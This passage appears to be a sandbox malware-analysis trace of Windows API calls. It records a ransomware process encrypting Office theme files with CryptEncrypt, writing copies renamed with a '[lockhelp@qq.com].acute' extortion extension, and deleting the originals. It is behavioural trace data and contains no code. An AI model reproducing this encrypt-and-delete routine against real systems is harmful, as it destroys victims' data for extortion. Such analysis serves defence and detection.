lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x618, lpOverlapped=0x0) returned 1 [0055.884] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x620, dwBufLen=0x620 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x620) returned 1 [0055.884] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x620, lpOverlapped=0x0) returned 1 [0055.885] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0055.885] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.885] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0055.885] CryptDestroyKey (hKey=0x593260) returned 1 [0055.885] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0055.885] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.885] CloseHandle (hObject=0x178) returned 1 [0055.885] CloseHandle (hObject=0x174) returned 1 [0055.886] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\bluecalm\\preview.gif")) returned 1 [0055.887] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.887] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.887] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=1925) returned 1 [0055.887] CloseHandle (hObject=0x174) returned 1 [0055.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 0x20 [0055.888] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.888] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.888] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.888] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0055.890] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0055.890] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.890] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x785, lpOverlapped=0x0) returned 1 [0055.892] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x790, dwBufLen=0x790 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x790) returned 1 [0055.892] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x790, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x790, lpOverlapped=0x0) returned 1 [0055.893] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593260) returned 1 [0055.893] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.893] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0055.893] CryptDestroyKey (hKey=0x593260) returned 1 [0055.893] WriteFile (in: hFile=0x178, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0055.893] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.893] CloseHandle (hObject=0x174) returned 1 [0055.893] CloseHandle (hObject=0x178) returned 1 [0055.894] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\preview.gif")) returned 1 [0055.895] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.895] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0055.896] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=27407) returned 1 [0055.896] CloseHandle (hObject=0x178) returned 1 [0055.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0055.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0055.896] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.896] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.897] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x5931a0) returned 1 [0055.897] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.897] ReadFile (in: hFile=0x178, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x6b0f, lpOverlapped=0x0) returned 1 [0055.899] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6b10, dwBufLen=0x6b10 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x6b10) returned 1 [0055.899] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x6b10, lpOverlapped=0x0) returned 1 [0055.900] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0055.900] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.900] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0055.900] CryptDestroyKey (hKey=0x5932e0) returned 1 [0055.900] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0055.900] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.901] CloseHandle (hObject=0x178) returned 1 [0055.901] CloseHandle (hObject=0x174) returned 1 [0055.902] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0055.903] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.903] GetFileSizeEx (in: hFile=0x174, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=3479) returned 1 [0055.903] CloseHandle (hObject=0x174) returned 1 [0055.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 0x20 [0055.903] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.903] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.903] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.903] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.906] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0055.906] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.906] ReadFile (in: hFile=0x174, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0xd97, lpOverlapped=0x0) returned 1 [0055.909] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xda0, dwBufLen=0xda0 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0xda0) returned 1 [0055.909] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xda0, lpOverlapped=0x0) returned 1 [0055.910] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5931a0) returned 1 [0055.910] CryptSetKeyParam (hKey=0x5931a0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.910] CryptEncrypt (in: hKey=0x5931a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0055.910] CryptDestroyKey (hKey=0x5931a0) returned 1 [0055.910] WriteFile (in: hFile=0x194, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0055.910] CryptDestroyKey (hKey=0x593220) returned 1 [0055.910] CloseHandle (hObject=0x174) returned 1 [0055.910] CloseHandle (hObject=0x194) returned 1 [0055.911] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\preview.gif")) returned 1 [0055.912] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0055.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.912] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=31837) returned 1 [0055.912] CloseHandle (hObject=0x194) returned 1 [0055.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 0x20 [0055.912] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0055.912] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0055.912] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.913] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0055.913] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0055.913] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593220) returned 1 [0055.913] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0055.913] ReadFile (in: hFile=0x194, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x7c5d, lpOverlapped=0x0) returned 1 [0056.301] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7c60, dwBufLen=0x7c60 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x7c60) returned 1 [0056.301] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x7c60, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x7c60, lpOverlapped=0x0) returned 1 [0056.303] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x5932e0) returned 1 [0056.303] CryptSetKeyParam (hKey=0x5932e0, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0056.303] CryptEncrypt (in: hKey=0x5932e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0056.303] CryptDestroyKey (hKey=0x5932e0) returned 1 [0056.303] WriteFile (in: hFile=0x174, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0056.303] CryptDestroyKey (hKey=0x593220) returned 1 [0056.303] CloseHandle (hObject=0x194) returned 1 [0056.303] CloseHandle (hObject=0x174) returned 1 [0056.304] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\thmbnail.png")) returned 1 [0056.306] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0056.306] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0056.786] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=2044) returned 1 [0056.786] CloseHandle (hObject=0x184) returned 1 [0056.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 0x20 [0056.786] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute")) returned 0xffffffff [0056.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0056.787] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0056.787] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355f6c8 | out: lpNewFilePointer=0x0) returned 1 [0056.787] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF.id[9C354B42-1096].[lockhelp@qq.com].acute" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif.id[9c354b42-1096].[lockhelp@qq.com].acute"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0057.039] CryptImportKey (in: hProv=0x585138, pbData=0x355f680, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6dc | out: phKey=0x355f6dc*=0x593260) returned 1 [0057.039] CryptSetKeyParam (hKey=0x593260, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0057.039] ReadFile (in: hFile=0x184, lpBuffer=0x39a0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x355f704, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesRead=0x355f704*=0x7fc, lpOverlapped=0x0) returned 1 [0057.041] CryptEncrypt (in: hKey=0x593260, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x800, dwBufLen=0x800 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x800) returned 1 [0057.041] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0x800, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0x800, lpOverlapped=0x0) returned 1 [0057.042] CryptImportKey (in: hProv=0x585138, pbData=0x355f674, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x355f6e0 | out: phKey=0x355f6e0*=0x593220) returned 1 [0057.042] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0x355f790, dwFlags=0x0) returned 1 [0057.042] CryptEncrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40, dwBufLen=0x40 | out: pbData=0x39a0020*, pdwDataLen=0x355f6a0*=0x40) returned 1 [0057.042] CryptDestroyKey (hKey=0x593220) returned 1 [0057.042] WriteFile (in: hFile=0x1ac, lpBuffer=0x39a0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x355f6e8, lpOverlapped=0x0 | out: lpBuffer=0x39a0020*, lpNumberOfBytesWritten=0x355f6e8*=0xf2, lpOverlapped=0x0) returned 1 [0057.042] CryptDestroyKey (hKey=0x593260) returned 1 [0057.042] CloseHandle (hObject=0x184) returned 1 [0057.042] CloseHandle (hObject=0x1ac) returned 1 [0057.045] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\preview.gif")) returned 1 [0057.046] CryptGenRandom (in: hProv=0x585138, dwLen=0x10, pbBuffer=0x355f790 | out: pbBuffer=0x355f790) returned 1 [0057.046] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0057.046] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x355f728 | out: lpFileSize=0x355f728*=28595) returned 1 [0057.046] CloseHandle (hObject=0x1ac) returned 1 [0057.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\thmbnail.png")) returned 0x20 